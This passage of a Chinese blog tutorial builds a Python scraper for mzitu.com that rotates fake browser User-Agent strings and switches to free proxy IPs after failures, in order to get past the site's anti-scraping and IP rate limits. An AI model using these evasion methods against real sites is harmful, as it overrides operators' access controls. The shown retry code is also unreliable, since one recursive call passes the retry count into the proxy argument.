<span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"</span>,</span><br><span class="line"> <span class="string">"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>下面我们来改改上面的代码成这样：</p>
                  <figure class="highlight haskell">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> download:</span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class">    def __init__(<span class="title">self</span>):</span></span><br><span class="line"><span class="class">        self.user_agent_list = [</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.1; <span class="type">WOW64</span>) <span class="type">AppleWebKit</span>/537.1 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/22.0.1207.1 <span class="type">Safari</span>/537.1",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">X11</span>; <span class="type">CrOS</span> <span class="title">i686</span> 2268.111.0) <span class="type">AppleWebKit</span>/536.11 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/20.0.1132.57 <span class="type">Safari</span>/536.11",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.1; <span class="type">WOW64</span>) <span class="type">AppleWebKit</span>/536.6 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/20.0.1092.0 <span class="type">Safari</span>/536.6",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.2) <span class="type">AppleWebKit</span>/536.6 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/20.0.1090.0 <span class="type">Safari</span>/536.6",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.2; <span class="type">WOW64</span>) <span class="type">AppleWebKit</span>/537.1 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.77.34.5 <span class="type">Safari</span>/537.1",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">X11</span>; <span class="type">Linux</span> <span class="title">x86_64</span>) <span class="type">AppleWebKit</span>/536.5 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1084.9 <span class="type">Safari</span>/536.5",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.0) <span class="type">AppleWebKit</span>/536.5 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1084.36 <span class="type">Safari</span>/536.5",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.1; <span class="type">WOW64</span>) <span class="type">AppleWebKit</span>/536.3 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1063.0 <span class="type">Safari</span>/536.3",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 5.1) <span class="type">AppleWebKit</span>/536.3 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1063.0 <span class="type">Safari</span>/536.3",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Macintosh</span>; <span class="type">Intel</span> <span class="type">Mac</span> <span class="type">OS</span> <span class="type">X</span> 10<span class="title">_8_0</span>) <span class="type">AppleWebKit</span>/536.3 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1063.0 <span class="type">Safari</span>/536.3",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.2) <span class="type">AppleWebKit</span>/536.3 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1062.0 <span class="type">Safari</span>/536.3",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.1; <span class="type">WOW64</span>) <span class="type">AppleWebKit</span>/536.3 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1062.0 <span class="type">Safari</span>/536.3",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.2) <span class="type">AppleWebKit</span>/536.3 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1061.1 <span class="type">Safari</span>/536.3",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.1; <span class="type">WOW64</span>) <span class="type">AppleWebKit</span>/536.3 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1061.1 <span class="type">Safari</span>/536.3",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.1) <span class="type">AppleWebKit</span>/536.3 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1061.1 <span class="type">Safari</span>/536.3",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.2) <span class="type">AppleWebKit</span>/536.3 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1061.0 <span class="type">Safari</span>/536.3",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">X11</span>; <span class="type">Linux</span> <span class="title">x86_64</span>) <span class="type">AppleWebKit</span>/535.24 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1055.1 <span class="type">Safari</span>/535.24",</span></span><br><span class="line"><span class="class">            "<span class="type">Mozilla</span>/5.0 (<span class="type">Windows</span> <span class="type">NT</span> 6.2; <span class="type">WOW64</span>) <span class="type">AppleWebKit</span>/535.24 (<span class="type">KHTML</span>, <span class="title">like</span> <span class="type">Gecko</span>) <span class="type">Chrome</span>/19.0.1055.1 <span class="type">Safari</span>/535.24"</span></span><br><span class="line"><span class="class">        ]</span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class">    def get(<span class="title">self</span>, <span class="title">url</span>):</span></span><br><span class="line"><span class="class">        <span class="type">UA</span> = random.choice(<span class="title">self</span>.<span class="title">user_agent_list</span>) ##从self.user_agent_list中随机取出一个字符串（聪明的小哥儿一定发现了这是完整的<span class="type">User</span>-<span class="type">Agent</span>中：后面的一半段）</span></span><br><span class="line"><span class="class">        headers = &#123;'<span class="type">User</span>-<span class="type">Agent'</span>: <span class="type">UA</span>&#125;  ##构造成一个完整的<span class="type">User</span>-<span class="type">Agent</span> （<span class="type">UA</span>代表的是上面随机取出来的字符串哦）</span></span><br><span class="line"><span class="class">        response = requests.get(<span class="title">url</span>, <span class="title">headers</span>=<span class="title">headers</span>) ##这样服务器就会以为我们是真的浏览器了</span></span><br><span class="line"><span class="class">        return response</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>各位可以自己实例化测试一下，headers会不会变哦ε=ε=ε=(~￣▽￣)~ 好啦下面我们继续还有一个点没有处理：那就是<strong>限制IP频率的反爬虫。</strong> 首先是需要获取代理IP的网站，我找到了这个站点 <strong><a href="http://haoip.cc/tiqu.htm" target="_blank" rel="noopener">http://haoip.cc/tiqu.htm</a></strong>（这儿本来我是准备教大家自己维护一个IP代理池的，不过有点麻烦啊！还好发现这个代理站，还是这么好心的站长。我就可以光明正大的偷懒啦！ヾ(≧O≦)〃嗷~） 我们先把这写IP爬取下来吧！本来想让大家自己写，不过有用到正则表达式的，虽然简单，不过有些小哥儿（妹儿）怕是不会使。我也写出来啦.</p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">iplist = [] <span class="comment">##初始化一个list用来存放我们获取到的IP</span></span><br><span class="line">html = requests.get(<span class="string">"http://haoip.cc/tiqu.htm"</span>)<span class="comment">##不解释咯</span></span><br><span class="line">iplistn = re.findall(<span class="string">r'r/&gt;(.*?)&lt;b'</span>, html.text, re.S) <span class="comment">##表示从html.text中获取所有r/&gt;&lt;b中的内容，re.S的意思是包括匹配包括换行符，findall返回的是个list哦！</span></span><br><span class="line"><span class="keyword">for</span> ip <span class="keyword">in</span> iplistn:</span><br><span class="line">    i = re.sub(<span class="string">'\n'</span>, <span class="string">''</span>, ip)<span class="comment">##re.sub 是re模块替换的方法，这儿表示将\n替换为空</span></span><br><span class="line">    iplist.append(i.strip()) <span class="comment">##添加到我们上面初始化的list里面, i.strip()的意思是去掉字符串的空格哦！！（这都不知道的小哥儿基础不牢啊）</span></span><br><span class="line">    print(i.strip())</span><br><span class="line">print(iplist)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>我们来打印一下看看 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161029235128.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161029235128.png" alt="QQ截图20161029235128"></a> 下面[———————]中的内容就我们添加进iplist这个初始化的list中的内容哦！ 完美！！好啦现在我们把这段代码加到之前写的代码里面去；并判断是否使用了代理：</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">import requests</span><br><span class="line">import re</span><br><span class="line">import random</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">class download:</span><br><span class="line"></span><br><span class="line">    def __init__(self):</span><br><span class="line"></span><br><span class="line">        self.iplist = []  ##初始化一个list用来存放我们获取到的IP</span><br><span class="line">        html = requests.<span class="builtin-name">get</span>(<span class="string">"http://haoip.cc/tiqu.htm"</span>)  ##不解释咯</span><br><span class="line">        iplistn = re.findall(r<span class="string">'r/&gt;(.*?)&lt;b'</span>, html.text, re.S)  ##表示从html.text中获取所有r/&gt;&lt;b中的内容，re.S的意思是包括匹配包括换行符，findall返回的是个list哦！</span><br><span class="line">        <span class="keyword">for</span><span class="built_in"> ip </span><span class="keyword">in</span> iplistn:</span><br><span class="line">            i = re.sub(<span class="string">'\n'</span>, <span class="string">''</span>, ip)  ##re.sub 是re模块替换的方法，这儿表示将\n替换为空</span><br><span class="line">            self.iplist.append(i.strip())  ##添加到我们上面初始化的list里面</span><br><span class="line"></span><br><span class="line">        self.user_agent_list = [</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"</span></span><br><span class="line">        ]</span><br><span class="line"></span><br><span class="line">    def <span class="builtin-name">get</span>(self, url, <span class="attribute">proxy</span>=None): ##给函数一个默认参数proxy为空</span><br><span class="line">        UA = random.choice(self.user_agent_list) ##从self.user_agent_list中随机取出一个字符串</span><br><span class="line">        headers = &#123;<span class="string">'User-Agent'</span>: UA&#125;  ##构造成一个完整的User-Agent （UA代表的是上面随机取出来的字符串哦）</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span><span class="built_in"> proxy </span>== None: ##当代理为空时，不使用代理获取response（别忘了response啥哦！之前说过了！！）</span><br><span class="line">            response = requests.<span class="builtin-name">get</span>(url, <span class="attribute">headers</span>=headers)##这样服务器就会以为我们是真的浏览器了</span><br><span class="line">            return response ##返回response</span><br><span class="line"></span><br><span class="line">        <span class="keyword">else</span>: ##当代理不为空</span><br><span class="line">           <span class="built_in"> IP </span>= <span class="string">''</span>.join(str(random.choice(self.iplist)).strip()) ##将从self.iplist中获取的字符串处理成我们需要的格式（处理了些，什么自己看哦，这是基础呢）</span><br><span class="line">           <span class="built_in"> proxy </span>= &#123;<span class="string">'http'</span>: IP&#125; ##构造成一个代理</span><br><span class="line">            response = requests.<span class="builtin-name">get</span>(url, <span class="attribute">headers</span>=headers, <span class="attribute">proxies</span>=proxy) ##使用代理获取response</span><br><span class="line">            return response</span><br><span class="line">Xz = download() ##实例化</span><br><span class="line"><span class="builtin-name">print</span>(Xz.<span class="builtin-name">get</span>(<span class="string">"mzitu.com"</span>).headers) ##打印headers</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>需要测试的小哥儿（妹儿），可以自行测试哦。 下面我开始判断什么时候需要 ！需要使用代理，而且还得规定一下多少次切换成代理爬取，多少次取消代理啊！我们改改代码，成下面这样：</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">import requests</span><br><span class="line">import re</span><br><span class="line">import random</span><br><span class="line">import time</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">class download:</span><br><span class="line"></span><br><span class="line">    def __init__(self):</span><br><span class="line"></span><br><span class="line">        self.iplist = []  ##初始化一个list用来存放我们获取到的IP</span><br><span class="line">        html = requests.<span class="builtin-name">get</span>(<span class="string">"http://haoip.cc/tiqu.htm"</span>)  ##不解释咯</span><br><span class="line">        iplistn = re.findall(r<span class="string">'r/&gt;(.*?)&lt;b'</span>, html.text, re.S)  ##表示从html.text中获取所有r/&gt;&lt;b中的内容，re.S的意思是包括匹配包括换行符，findall返回的是个list哦！</span><br><span class="line">        <span class="keyword">for</span><span class="built_in"> ip </span><span class="keyword">in</span> iplistn:</span><br><span class="line">            i = re.sub(<span class="string">'\n'</span>, <span class="string">''</span>, ip)  ##re.sub 是re模块替换的方法，这儿表示将\n替换为空</span><br><span class="line">            self.iplist.append(i.strip())  ##添加到我们上面初始化的list里面</span><br><span class="line"></span><br><span class="line">        self.user_agent_list = [</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"</span></span><br><span class="line">        ]</span><br><span class="line"></span><br><span class="line">    def <span class="builtin-name">get</span>(self, url, timeout, <span class="attribute">proxy</span>=None, <span class="attribute">num_retries</span>=6): ##给函数一个默认参数proxy为空</span><br><span class="line">        UA = random.choice(self.user_agent_list) ##从self.user_agent_list中随机取出一个字符串</span><br><span class="line">        headers = &#123;<span class="string">'User-Agent'</span>: UA&#125;  ##构造成一个完整的User-Agent （UA代表的是上面随机取出来的字符串哦）</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span><span class="built_in"> proxy </span>== None: ##当代理为空时，不使用代理获取response（别忘了response啥哦！之前说过了！！）</span><br><span class="line">            try:</span><br><span class="line">                return requests.<span class="builtin-name">get</span>(url, <span class="attribute">headers</span>=headers, <span class="attribute">timeout</span>=timeout)##这样服务器就会以为我们是真的浏览器了</span><br><span class="line">            except:##如过上面的代码执行报错则执行下面的代码</span><br><span class="line">                <span class="keyword">if</span> num_retries &gt; 0: ##num_retries是我们限定的重试次数</span><br><span class="line">                    time.sleep(10) ##延迟十秒</span><br><span class="line">                    <span class="builtin-name">print</span>(u<span class="string">'获取网页出错，10S后将获取倒数第：'</span>, num_retries, u<span class="string">'次'</span>)</span><br><span class="line">                    return self.<span class="builtin-name">get</span>(url, timeout, num_retries-1)  ##调用自身 并将次数减1</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    <span class="builtin-name">print</span>(u<span class="string">'开始使用代理'</span>)</span><br><span class="line">                    time.sleep(10)</span><br><span class="line">                   <span class="built_in"> IP </span>= <span class="string">''</span>.join(str(random.choice(self.iplist)).strip()) ##下面有解释哦</span><br><span class="line">                   <span class="built_in"> proxy </span>= &#123;<span class="string">'http'</span>: IP&#125;</span><br><span class="line">                    return self.<span class="builtin-name">get</span>(url, timeout, proxy,) ##代理不为空的时候</span><br><span class="line"></span><br><span class="line">        <span class="keyword">else</span>: ##当代理不为空</span><br><span class="line">           <span class="built_in"> IP </span>= <span class="string">''</span>.join(str(random.choice(self.iplist)).strip()) ##将从self.iplist中获取的字符串处理成我们需要的格式（处理了些什么自己看哦，这是基础呢）</span><br><span class="line">           <span class="built_in"> proxy </span>= &#123;<span class="string">'http'</span>: IP&#125; ##构造成一个代理</span><br><span class="line">            return requests.<span class="builtin-name">get</span>(url, <span class="attribute">headers</span>=headers, <span class="attribute">proxies</span>=proxy, timeout = timeout) ##使用代理获取response</span><br><span class="line">Xz = download() ##实例化</span><br><span class="line"><span class="builtin-name">print</span>(Xz.<span class="builtin-name">get</span>(<span class="string">"mzitu.com"</span>, 3)) ##打印headers</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>上面代码添加了一个timeout （防止超时）、一个num_retries=6（限制次数，6次过后使用代理）。 下面我们让使用代理失败6次后，取消代理，直接上代码：</p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span 